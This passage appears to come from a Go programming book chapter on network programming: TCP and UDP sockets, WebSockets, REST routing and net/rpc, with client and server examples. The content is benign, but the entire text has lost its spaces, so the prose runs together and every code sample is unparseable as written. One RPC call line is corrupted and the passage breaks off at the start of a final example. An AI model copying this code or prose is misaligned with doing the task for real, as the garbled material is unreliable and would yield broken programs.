Beforeweunderstandhowsocketscommunicatewithoneanother,weneedtofigureouthowtomakesurethateverysocketisunique,otherwiseestablishingareliablecommunicationchannelisalreadyoutofthequestion.WecangiveeveryprocessauniquePIDwhichservesourpurposelocally,howeverthat'snotabletoworkoveranetwork.Fortunately,TCP/IPhelpsussolvethisproblem.TheIPaddressesofthenetworklayerareuniqueinanetworkofhosts,and"protocol+port"isalsouniqueamonghostapplications.So,wecanusetheseprinciplestomakesocketswhichareunique.
Figure8.1networkprotocollayers
ApplicationsthatarebasedonTCP/IPallusesocketAPIsintheircodeinonewayoranother.Giventhatnetworkedapplicationsarebecomingmoreand
moreprevalentinthemodernday,it'snowondersomedevelopersaresayingthat"everythingisaboutsockets".
Socketbasicknowledge
Weknowthatsocketshavetwotypes,whichareTCPsocketsandUDPsockets.TCPandUDPareprotocolsand,asmentioned,wealsoneedanIPaddressandportnumbertohaveauniquesocket.
IPv4
TheglobalinternetusesTCP/IPasitsprotocol,whereIPisthenetworklayerandacorepartofTCP/IP.IPv4signifiesthatitsversionis4;infrastructuredevelopmenttodatehasspannedover30years.
ThenumberofbitsinanIPv4addressis32,whichmeansthat2^32devicesareabletouniquelyconnecttotheinternet.Duetotherapiddevelopoftheinternet,IPaddressesarealreadyrunningoutofstockinrecentyears.
Addressformat:127.0.0.1,172.122.121.111.
IPv6
IPv6isthenextversionornextgenerationoftheinternet.It'sbeingdevelopedforsolvingmanyoftheproblemsinherentwithIPv4.DevicesusingIPv6haveanaddressthat's128bitslong,sowe'llneverneedtoworryaboutashortageofuniqueaddresses.Toputthisintoperspective,youcouldhavemorethan1000IPaddressesforeverysquaremeteronearthwithIPv6.Otherproblemslikepeertopeerconnection,servicequality(QoS),security,multiplebroadcast,etc.,arealsobeimproved.
Addressformat:2002:c0e8:82e7:0:0:0:c0e8:82e7.
IPtypesinGo
ThenetpackageinGoprovidesmanytypes,functionsandmethodsfornetworkprogramming.ThedefinitionofIPasfollows:
typeIP[]byte
FunctionsParseIP(sstring)IPisforconvertinganIPfromtheIPv4formatintoIPv6:
packagemainimport("net""os""fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}
ItreturnsthecorrespondingIPformatforagivenIPaddress.
TCPsocket
Whatcanwedowhenweknowhowtovisitawebservicethroughanetworkport?Asaclient,wecansendarequesttoanappointednetworkportandgetsitsresponse;asaserver,weneedtobindaservicetoanappointednetworkport,waitforclients'requestsandsupplyaresponse.
InGo'snetpackage,there'satypecalledTCPConnthatfacilitatesthiskindofclients/serversinteraction.Thistypehastwokeyfunctions:
func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)
TCPConncanbeusedbyeitherclientorserverforreadingandwritingdata.
WealsoneedaTCPAddrtorepresentTCPaddressinformation:
typeTCPAddrstruct{IPIPPortint}
WeusetheResolveTCPAddrfunctiontogetaTCPAddrinGo:
funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)
Argumentsofnetcanbeoneof"tcp4","tcp6"or"tcp",whicheachsignifyIPv4-only,IPv6-only,andeitherIPv4orIPv6,respectively.addrcanbeadomainnameorIPaddress,like"www.google.com:80"or"127.0.0.1:22".
TCPclient
GoclientsusetheDialTCPfunctioninthenetpackagetocreateaTCPconnection,whichreturnsaTCPConnobject;afteraconnectionisestablished,theserverhasthesametypeofconnectionobjectforthecurrentconnection,andclientandservercanbeginexchangingdatawithoneanother.Ingeneral,clientssendrequeststoserversthroughaTCPConnandreceiveinformationfromtheserverresponse;serversreadandparseclientrequests,thenreturnfeedback.Thisconnectionwillremainvaliduntil
eithertheclientorserverclosesit.Thefunctionforcreatingaconnectionisasfollows:
funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)
Argumentsofnetcanbeoneof"tcp4","tcp6"or"tcp",whicheachsignifyIPv4-only,IPv6-only,andeitherIPv4orIPv6,respectively.laddrrepresentsthelocaladdress,setittonilinmostcases.raddrrepresentstheremoteaddress.
Let'swriteasimpleexampletosimulateaclientrequestingaconnectiontoaserverbasedonanHTTPrequest.WeneedasimpleHTTPrequestheader:
"HEAD/HTTP/1.0\r\n\r\n"
Serverresponseinformationformatmaylooklikethefollowing:
HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMTContent-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23
Clientcode:
packagemain
import("fmt""io/ioutil""net""os"
)
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Intheaboveexample,weuseuserinputastheserviceargumentofnet.ResolveTCPAddrtogetatcpAddr.PassingtcpAddrtotheDialTCPfunction,wecreateaTCPconnection,conn.Wecanthenuseconntosendrequestinformationtotheserver.Finally,weuseioutil.ReadAlltoreadallthecontentfromconn,whichcontainstheserverresponse.
TCPserver
WehaveaTCPclientnow.WecanalsousethenetpackagetowriteaTCPserver.Ontheserverside,weneedtobindourservicetoaspecificinactiveportandlistenforanyincomingclientrequests.
funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)
TheargumentsrequiredhereareidenticaltothoserequiredbytheDialTCPfunctionweusedearlier.Let'simplementatimesyncingserviceusingport7777:
packagemain
import("fmt""net""os""time")
funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue
conn.Close()//we'refinishedwiththisclient}}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Aftertheserviceisstarted,itwaitsforclientrequests.Whenitreceivesaclientrequest,itAcceptsitandreturnsaresponsetotheclientcontaining
informationaboutthecurrenttime.It'sworthnotingthatwhenerrorsoccurintheforloop,theservicecontinuesrunninginsteadofexiting.Insteadofcrashing,theserverwillrecordtheerrortoaservererrorlog.
Theabovecodeisstillnotgoodenough,however.Wedidn'tmakeuseofgoroutines,whichwouldhaveallowedustoacceptsimultaneousrequests.Let'sdothisnow:
packagemain
import("fmt""net""os""time")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue//we'refinishedwiththisclient}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}
}
ByseparatingoutourbusinessprocessfromthehandleClientfunction,andbyusingthegokeyword,we'vealreadyimplementedconcurrencyinourservice.Thisisagooddemonstrationofthepowerandsimplicityofgoroutines.
Someofyoumaybethinkingthefollowing:thisserverdoesnotdoanythingmeaningful.Whatifweneededtosendmultiplerequestsfordifferenttimeformatsoverasingleconnection?Howwouldwedothat?
packagemain
import("fmt""net""os""time""strconv")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaximumrequestlengthto128Btopreventfloodbasedattacksdeferconn.Close()//closeconnectionbeforeexit
for{read_len,err:=conn.Read(request)
iferr!=nil{fmt.Println(err)break}
ifread_len==0{break//connectionalreadyclosedbyclient}elseifstring(request)=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}
request=make([]byte,128)//clearlastreadcontent}}
funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Inthisexample,weuseconn.Read()toconstantlyreadclientrequests.Wecannotclosetheconnectionbecauseclientsmayissuemorethanonerequest.Duetothetimeoutwesetusingconn.SetReadDeadline(),theconnectionclosesautomaticallywhenaclienthasnotsentarequestwithinourallottedtimeperiod.Whenthenexpirytimehaselapsed,ourprogrambreaksfromtheforloop.Noticethatrequestneedstobecreatedwithamaxsizelimitationinordertopreventfloodattacks.FInally,wecleantherequestarrayafterprocessingeveryrequest,sinceconn.Read()appendsnewcontenttothearrayinsteadofrewritingit.
ControllingTCPconnections
ControllingTCPfunctions:
funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)
Settingthetimeoutofconnections.Thesearesuitableforuseonbothclientsandservers:
func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error
Settingthewrite/readtimeoutofoneconnection:
func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error
It'sworthtakingsometimetothinkabouthowlongyouwantyourconnectiontimeoutstobe.Longconnectionscanreducetheamountofoverheadinvolvedincreatingconnectionsandaregoodforapplicationsthatneedtoexchangedatafrequently.
Formoredetailedinformation,justlookuptheofficialdocumentationforGo'snetpackage.
UDPsockets
TheonlydifferencebetweenaUDPsocketandaTCPsocketistheprocessingmethodfordealingwithmultiplerequestsonserverside.ThisarisesfromthefactthatUDPdoesnothaveafunctionlikeAccept.AlloftheotherfunctionshaveUDPcounterparts;justreplaceTCPwithUDPinthefunctionsmentionedabove.
funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)
funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Errorfunc(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)
UDPclientcodesample:
packagemain
import("fmt""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
UDPservercodesample:
packagemain
import("fmt""net""os""time")
funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
Summary
ThroughdescribingandcodingsomesimpleprogramsusingTCPandUDP
sockets,wecanseethatGoprovidesexcellentsupportforsocketprogramming,andthattheyarefunandeasytouse.Goalsoprovidesmanyfunctionsforbuildinghighperformancesocketapplications.
Links
DirectoryPrevioussection:WebservicesNextsection:WebSocket
8.2WebSocketsWebSocketsareanimportantfeatureofHTML5.Itimplementsbrowserbasedremotesockets,whichallowsbrowserstohavefull-duplexcommunicationswithservers.MainstreambrowserslikeFirefox,GoogleChromeandSafariprovidesupportforthisWebSockets.
Peopleoftenused"rollpolling"forinstantmessagingservicesbeforeWebSocketswereborn,whichallowclientstosendHTTPrequestsperiodically.Theserverthenreturnsthelatestdatatoclients.Thedownsidetothismethodisthatitrequiresclientstokeepsendingmanyrequeststotheserver,whichcanconsumealargeamountofbandwidth.
WebSocketsuseaspecialkindofheaderthatreducesthenumberofhandshakesrequiredbetweenbrowserandservertoonlyone,forestablishingaconnection.Thisconnectionwillremainactivethroughoutitslifetime,andyoucanuseJavaScripttowriteorreaddatafromthisconnection,asinthecaseofaconventionalTCPsockets.Itsolvesmanyoftheheadacheinvolvedwithreal-timewebdevelopment,andhasthefollowingadvantagesovertraditionalHTTP:
OnlyoneTCPconnectionforasinglewebclient.WebSocketserverscanpushdatatowebclients.Lightweightheadertoreducedatatransmissionoverhead.
WebSocketURLsbeginwithws://orwss://(SSL).ThefollowingfigureshowsthecommunicationprocessofWebSockets.AparticularHTTPheaderissenttotheserveraspartofthehandshakingprotocolandtheconnectionisestablished.Then,serversorclientsareabletosendorreceivedatathroughJavaScriptviaWebSocket.Thissocketcanthenbeusedbyaneventhandlertoreceivedataasynchronously.
Figure8.2WebSocketprincipl
WebSocketprinciples
TheWebSocketprotocolisactuallyquitesimple.Aftersuccessfullycompletingtheinitialhandshake,aconnectionisestablished.Subsequentdatacommunicationswillallbeginwith"\x00"andendwith"\xFF".ThisprefixandsuffixwillbevisibletoclientsbecausetheWebSocketwillbreakoffbothend,yieldingtherawdataautomatically.
WebSocketconnectionsarerequestedbybrowsersandrespondedtoby
servers,afterwhichtheconnectionisestablished.Thisprocessisoftencalled"handshaking".
Considerthefollowingrequestsandresponses:
Figure8.3WebSocketrequestandresponse.
"Sec-WebSocket-key"isgeneratedrandomly,asyoumayhavealreadyguessed,andit'sbase64encoded.Serversneedtoappendthiskeytoafixedstringafteracceptingarequest:
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
Supposewehavef7cb4ezEAl6C3wRaU6JORA==,thenwehave:
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
Usesha1tocomputethebinaryvalueandusebase64toencodeit.Wewillthenwehave:
rE91AJhfC+6JdVcVXOGJEADEJdQ=
UsethisasthevalueoftheSec-WebSocket-Acceptresponseheader.
WebSocketinGo
TheGostandardlibrarydoesnotsupportWebSockets.Howeverthewebsocketpackage,whichisasub-packageofgo.netdoes,andisofficiallymaintainedandsupported.
Usegogettoinstallthispackage:
gogetcode.google.com/p/go.net/websocket
WebSocketshavebothclientandserversides.Let'sseeasimpleexamplewhereauserinputssomeinformationontheclientsideandsendsittotheserverthroughaWebSocket,followedbytheserverpushinginformationbacktotheclient.
Clientcode:
<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";
window.onload=function(){
console.log("onload");
sock=newWebSocket(wsuri);
sock.onopen=function(){console.log("connectedto"+wsuri);}
sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}
sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};
functionsend(){varmsg=document.getElementById('message').value;sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form><buttononclick="send();">SendMessage</button></body></html>
Asyoucansee,it'sveryeasytousetheclientsideJavaScriptfunctionstoestablishaconnection.Theonopeneventgetstriggeredaftersuccessfullycompletingtheaforementionedhandshakingprocess.Ittellstheclientthattheconnectionhasbeencreatedsuccessfully.Clientsattemptingtoopenaconnectiontypicallybindtofourevents:
1onopen:triggeredafterconnectionhasbeenestablished.2onmessage:triggeredafterreceivingamessage.3onerror:triggeredafteranerrorhasoccurred..4onclose:triggeredaftertheconnectionhasclosed.
Servercode:
packagemain
import("golang.org/x/net/websocket""fmt""log""net/http")
funcEcho(ws*websocket.Conn){varerrerror
for{varreplystring
iferr=websocket.Message.Receive(ws,&reply);err!=nil{fmt.Println("Can'treceive")break}
fmt.Println("Receivedbackfromclient:"+reply)
msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)
iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")break}}}
funcmain(){http.Handle("/",websocket.Handler(Echo))
iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}
WhenaclientSendsuserinputinformation,theserverReceivesit,andusesSendonceagaintoreturnaresponse.
Figure8.4WebSocketserverreceivedinformation.
Throughtheexampleabove,wecanseethattheclientandserversideimplementationofWebSocketsisveryconvenient.WecanusethenetpackagedirectlyinGo.WiththerapiddevelopmentofHTML5,IthinkthatWebSocketswilltakeonamuchmoreimportantroleinmoderndaywebdevelopment;weshouldallbeatleastalittlebitfamiliarwiththem.
Links
DirectoryPrevioussection:SocketsNextsection:REST
8.3RESTRESTisthemostpopularsoftwarearchitectureontheinternettodaybecauseitisfoundedonwelldefined,strictstandardsandit'seasytounderstandandexpand.mOreandmorewebsitesarebasingtheirdesignsontotopofit.Inthissection,wearegoingtohaveacloselookatimplementingtheRESTarchitectureinGoand(hopefully)learnhowtoleverageittoourbenefit.
WhatisREST?
ThefirstdeclarationoftheconceptofREST(REpresentationalStateTransfer)wasintheyear2000inRoyThomasFielding'sdoctoraldissertation,whoisalsojusthappenstobetheco-founderoftheHTTPprotocol.Itspecifiesthearchitecture'sconstraintsandprinciplesandanythingimplementedwith
architecturecanbecalledaRESTfulsystem.
BeforeweunderstandwhatRESTis,weneedtocoverthefollowingconcepts:
Resources
RESTisthePresentationLayerStateTransfer,wherethepresentationlayerisactuallytheresourcepresentationlayer.
Sowhatareresources?Pictures,documentsorvideos,etc.,areallexamplesofresourcesandcanbelocatedbyURI.
Representation
Resourcesarespecificinformationentitiesthatcanbeshowninavarietyofwayswithinthepresentationlayer.Forinstance,aTXTdocumentcanberepresentedasHTML,JSON,XML,etc;animagecanberepresentedasjpg,png,etc.
URIsareusedtoidentifyresources,buthowdowedetermineitsspecificmanifestations?YoushouldtheAcceptandContent-TypeinanHTTPrequestheader;thesetwofieldsdescribethepresentationlayer.
StateTransfer
Aninteractiveprocessisinitiatedbetweenclientandservereachtimeyouvisitanypageofawebsite.Duringthisprocess,certaindatarelatedtothecurrentpagestateneedtobesaved.However,you'llrecallthatHTTPisastatelessprotocol!It'sobviousthatweneedtosavethisclientstateonourserverside.Itfollowsthatifaclientmodifiessomedataandwantstopersistthechanges,theremustbeawaytoinformtheserversideaboutthenewstate.
Mostofthetime,clientsinformserversofstatechangesusingHTTP.Theyhavefouroperationswithwhichtodothis:
-GETisusedtoobtainresources-POSTsisusedtocreateorupdateresources-PUTupdatesresources-DELETEdeletesresources
Tosummarizetheabove:
1EveryURIreresentsaresource.2Thereisarepresentationlayerfortransferringresourcesbetweenclientsandservers.3ClientsusefourHTTPmethodstoimplement"PresentationLayerStateTransfer",allowingthemtooperateonremoteresources.
ThemostimportantprincipleofwebapplicationsthatimplementRESTisthattheinteractionbetweenclientsandserversarestateless;everyrequestshouldencapsulatealloftherequiredinformation.Serversshouldbeabletorestartatanytimewithouttheclientsbeingnotified.Inaddition,requestscanberespondedbyanyserverofthesameservice,whichisidealforcloudcomputing.Lastly,becauseit'sstateless,clientscancachedataforimprovingperformance.
AnotherimportantprincipleofRESTissystemdelamination,whichmeansthatcomponentsinonelayerhavenowayofinteractingdirectlywithcomponentsinotherlayers.Thiscanlimitsystemcomplexityandencourageindependenceintheunderlyingcomponents.
Figure8.5RESTarchitecture
WhenRESTfulconstraintsarejudiciouslyabidedby,webapplicationscanbescaledtoaccommodatemassivenumbersofclients.UsingtheRESTarchitecturecanalsohelpreducedelaysbetweenclientsandservers,simplifysystemarchitectureandimprovethevisibilityofsub-systemendpoints.
Figure8.6REST'sexpansibility.
RESTfulimplementation
Godoesn'thavedirectsupportforREST,butsinceRESTfulwebapplicationsareallHTTP-based,wecanusethenet/httppackagetoimplementitonourown.Ofcourse,wewillfirstneedtomakesomemodificationsbeforeweareabletofullyimplementREST.
RESTusesdifferentmethodstohandleresources,dependingontheinteractionthat'srequiredwiththatresource.ManyexistingapplicationsclaimtobeRESTfulbuttheydonotactuallyimplementREST.I'mgoingtocategorizetheseapplicationsintoseverallevelsdependsonwhichHTTPmethodstheyimplement.
Figure8.7REST'slevel.
ThepictureaboveshowsthreelevelsthatarecurrentlyimplementedinREST.YoumaynotchoosetofollowalltherulesandconstraintsofRESTwhendeveloppingyourownapplicationsbecausesometimesitsrulesarenotagoodfitforallsituations.RESTfulwebapplicationsuseeverysingleHTTPmethodincludingDELETEandPUT,butinmanycases,HTTPclientscanonlysendGETandPOSTrequests.
HTMLstandardallowsclientssendGETandPOSTrequeststhroughlinksandforms.It'snotpossibletosendPUTorDELETErequestswithoutAJAXsupport.SomefirewallsinterceptPUTandDELETErequestsandclientshavetousePOSTinordertoimplementthem.FullyRESTfulservicesareinchargeoffindingtheoriginalHTTPmethodsandrestoringthem.
WecansimulatePUTandDELETErequestsbyaddingahidden_methodfieldinourPOSTrequests,howevertheserequestsmustbeconvertedontheserversidebeforetheyareprocessed.MypersonalapplicationsusethisworkflowtoimplementRESTinterfaces.StandardRESTfulinterfacesareeasilyimplementedinGo,asthefollowingexampledemonstrates:
packagemain
import("fmt"
"github.com/julienschmidt/httprouter""log""net/http")
funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}
funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))}
funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}
funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}
funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}
funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}
funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)
router.GET("/user/:uid",getuser)
router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)
log.Fatal(http.ListenAndServe(":8080",router))}
ThissamplecodeshowsyouhowtowriteaverybasicRESTapplication.Ourresourcesareusers,andweusedifferentfunctionsfordifferentmethods.Here,weimportedathird-partypackagecalledgithub.com/julienschmidt/httprouter.We'vealreadycoveredhowtoimplementacustomrouterinpreviouschapters-thejulienschmidt/httprouterpackageimplementssomeveryconvenientroutermappingrulesthatmakeitveryconvenientforimplementingRESTfularchitecture.Asyoucansee,RESTrequiresyoutoimplementdifferentlogicfordifferentHTTPmethodsofthesameresource.
Summary
RESTisastyleofwebarchitecture,buildingonpastsuccessfulexperienceswithWWW:statelessness,resource-centric,fulluseofHTTPandURIprotocolsandtheprovisionofunifiedinterfaces.ThesesuperiordesignconsiderationshasallowedRESTtobecomethemostpopularwebservicesstandard.Inasense,byemphasizingtheURIandleveragingearlyInternetstandardssuchasHTTP,RESThaspavedthewayforlargeandscalablewebapplications.Currently,thesupportthatGohasForRESTisstillverybasic.However,byimplementingcustomroutingrulesanddifferentrequesthandlersforeachtypeofHTTPrequest,wecanachieveRESTfularchitectureinourGowebapps.
Links
DirectoryPrevioussection:WebSocketNextsection:RPC
8.4RPCInprevioussectionswetalkedabouthowtowritenetworkapplicationsbasedonSocketsandHTTP.Welearnedthatbothofthemusethe"informationexchange"model,inwhichclientssendrequestsandserversrespondtothem.Thiskindofdataexchangeisbasedonaspecificformatsothatbothsidesareabletocommunicatewithoneanother.However,manyindependentapplicationsdonotusethismodel,butinsteadcallservicesjustliketheywouldcallnormalfunctions.
RPCwasintendedtobethefunctioncallmodefornetworkedsystems.ClientsexecuteRPCsliketheycallnativefunctions,excepttheypackagethefunctionparametersandsendthemthroughthenetworktotheserver.Theservercanthenunpacktheseparametersandprocesstherequest,executingtheresultsbacktotheclient.
Incomputerscience,aremoteprocedurecall(RPC)isatypeofinter-processcommunicationthatallowsacomputerprogramtocauseasubroutineorproceduretoexecuteinanotheraddressspace(commonlyonanothercomputeronasharednetwork)withouttheprogrammerexplicitlycodingthedetailsforthisremoteinteraction.Thatis,theprogrammerwritesessentiallythesamecodewhetherthesubroutineislocaltotheexecutingprogram,orremote.Whenthesoftwareinquestionusesobject-orientedprinciples,RPCiscalledremoteinvocationorremotemethodinvocation.
RPCworkingprinciple
Figure8.8RPCworkingprinciple
Normally,anRPCcallfromclienttoserverhasthefollowingtensteps:
i. Calltheclienthandle,executetransferarguments.i. Calllocalsystemkerneltosendnetworkmessages.i. Sendmessagestoremotehosts.i. Theserverreceiveshandleandarguments.i. Executeremoteprocesses.i. Returnexecutionresulttocorrespondinghandle.i. Theserverhandlecallsremotesystemkernel.i. Messagessentbacktolocalsystemkernel.i. Theclienthandlereceivesmessagesfromsystemkernel.i. Theclientgetsresultsfromcorrespondinghandle.
GoRPC
GohasofficialsupportforRPCinitsstandardlibraryonthreelevels,whichareTCP,HTTPandJSONRPC.NotethatGoRPCisnotlikeothertraditionalRPCsystems.ItrequiresyoutouseGoapplicationsonbothclientandserversidesbecauseitencodescontentusingGob.
FunctionsofGoRPChavemustabidebythefollowingrulesforremoteaccess,otherwisethecorrespondingcallswillbeignored.
Functionsareexported(capitalize).Functionshavetohavetwoargumentswithexportedtypes.Thefirstargumentisforreceivingfromtheclient,andthesecondonehastobeapointerandisforreplyingtotheclient.Functionshavetohaveareturnvalueoferrortype.
Forexample:
func(t*T)MethodName(argTypeT1,replyType*T2)error
WhereT,T1andT2mustbeabletobeencodedbythepackage/gobpackage.
AnykindofRPChastogothroughanetworktotransferdata.GoRPCcaneitheruseHTTPorTCP.ThebenefitsofusingHTTPisthatyoucanreusesomefunctionsfromthenet/httppackage.
HTTPRPC
HTTPserversidecode:
packagemain
import("errors""fmt""net/http"
"net/rpc")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()
err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}
WeregisteredaRPCserviceofArith,thenregisteredthisserviceonHTTPthroughrpc.HandleHTTP.Afterthat,weareabletotransferdatathroughHTTP.
Clientsidecode:
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]
client,err:=rpc.DialHTTP("tcp",serverAddress+":1234")iferr!=nil{log.Fatal("dialing:",err)}//Synchronouscallargs:=Args{17,8}varreplyinterr=client.Call("Arith.Multiply",args,&reply)iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d*%d=%d\n",args.A,args.B,reply)
varquotQuotienterr=client.Call("Arith.Divide",args,")iferr!=nil{log.Fatal("aritherror:",err)}fmt.Printf("Arith:%d/%d=%dremainder%d\n",args.A,args.B,quot.Quo,quot.Rem)
}
Wecompiletheclientandtheserversidecodeseparatelythenstarttheserverandclient.You'llthenhavesomethingsimilarasfollowsafteryouinputsomedata.
$./http_clocalhostArith:17*8=136Arith:17/8=2remainder1
Asyoucansee,wedefinedastructforthereturntype.Weuseitastypeoffunctionargumentontheserverside,andasthetypeofthesecondandthirdargumentsontheclientclient.Call.Thiscallisveryimportant.Ithasthreearguments,wherethefirstoneisthenameofthefunctionthatisgoingtobecalled,thesecondistheargumentyouwanttopass,andthelastoneisthereturnvalue(ofpointertype).Sofarweseethatit'seasytoimplementRPCinGo.
TCPRPC
Let'strytheRPCthatisbasedonTCP,hereistheserversidecode:
packagemain
import("errors""fmt""net""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{
Quo,Remint}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)
tcpAddr,err:=net.ResolveTCPAddr("tcp",":1234")checkError(err)
listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)
for{conn,err:=listener.Accept()iferr!=nil{continue}rpc.ServeConn(conn)}
}
funccheckError(errerror){iferr!=nil{fmt.Println("Fatalerror",err.Error())os.Exit(1)}}
ThedifferencebetweenHTTPRPCandTCPRPCisthatwehavetocontrolconnectionsbyourselvesifweuseTCPRPC,thenpassconnectionstoRPCforprocessing.
Asyoumayhaveguessed,thisisablockingpattern.Youarefreetousegoroutinestoextendthisapplicationasamoreadvancedexperiment.
Theclientsidecode:
packagemain
